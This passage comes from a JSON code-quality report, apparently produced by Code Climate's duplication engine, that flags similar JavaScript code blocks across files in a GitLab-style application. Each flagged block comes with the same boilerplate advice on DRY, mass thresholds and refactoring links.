Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1f5e585cdfd268a3748dbdd584f69df8","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/jobs/job_details_mediator.js","lines":{"begin":34,"end":39}},"remediation_points":720000,"other_locations":[{"path":"app/assets/javascripts/pipelines/pipeline_details_mediator.js","lines":{"begin":26,"end":31}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 59**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"67d77d7b888d52cac1d666c6a95ba502","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/tree.js","lines":{"begin":38,"end":46}},"remediation_points":720000,"other_locations":[{"path":"app/assets/javascripts/tree.js","lines":{"begin":49,"end":57}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 59**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"16eb34236a934fb101dbe1e8b6ab4af1","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/tree.js","lines":{"begin":49,"end":57}},"remediation_points":720000,"other_locations":[{"path":"app/assets/javascripts/tree.js","lines":{"begin":38,"end":46}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 59**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"16eb34236a934fb101dbe1e8b6ab4af1","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":191,"end":203}},"remediation_points":690000,"other_locations":[{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":236,"end":248}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 58**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"13f117af1725bb929e7aa63491a25429","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":236,"end":248}},"remediation_points":690000,"other_locations":[{"path":"app/assets/javascripts/merge_conflicts/merge_conflict_store.js","lines":{"begin":191,"end":203}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 58**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"13f117af1725bb929e7aa63491a25429","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/groups/groups_filterable_list.js","lines":{"begin":7,"end":16}},"remediation_points":660000,"other_locations":[{"path":"app/assets/javascripts/diffs/store/utils.js","lines":{"begin":238,"end":247}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 57**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"2a553868b7fea8b08596f9a95a22d484","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/diffs/store/utils.js","lines":{"begin":238,"end":247}},"remediation_points":660000,"other_locations":[{"path":"app/assets/javascripts/groups/groups_filterable_list.js","lines":{"begin":7,"end":16}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 57**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"12bd1fc0fd53a6c025f6ed5d690be133","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/admin/application_settings/usage_ping_payload.js","lines":{"begin":45,"end":49}},"remediation_points":660000,"other_locations":[{"path":"app/assets/javascripts/pages/admin/application_settings/usage_ping_payload.js","lines":{"begin":51,"end":55}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 57**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e7e7f0899a668845138c08c503e337fe","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/admin/application_settings/usage_ping_payload.js","lines":{"begin":51,"end":55}},"remediation_points":660000,"other_locations":[{"path":"app/assets/javascripts/pages/admin/application_settings/usage_ping_payload.js","lines":{"begin":45,"end":49}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 57**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"e7e7f0899a668845138c08c503e337fe","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js","lines":{"begin":8,"end":11}},"remediation_points":660000,"other_locations":[{"path":"app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js","lines":{"begin":13,"end":16}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 57**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"21bb124a570e4088d0684442dade767f","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js","lines":{"begin":13,"end":16}},"remediation_points":660000,"other_locations":[{"path":"app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js","lines":{"begin":8,"end":11}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 57**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"21bb124a570e4088d0684442dade767f","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/namespace_select.js","lines":{"begin":20,"end":26}},"remediation_points":630000,"other_locations":[{"path":"app/assets/javascripts/namespace_select.js","lines":{"begin":40,"end":46}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 56**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"d22f4f9ddac4d361d9f6721a25ded899","severity":"major","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"app/assets/javascripts/namespace_select.js","lines":{"begin":40,"end":46}},"remediation_points":630000,"other_locations":[{"path":"app/assets/javascripts/namespace_select.js","lines":{"begin":20,"end":26}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 56**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, 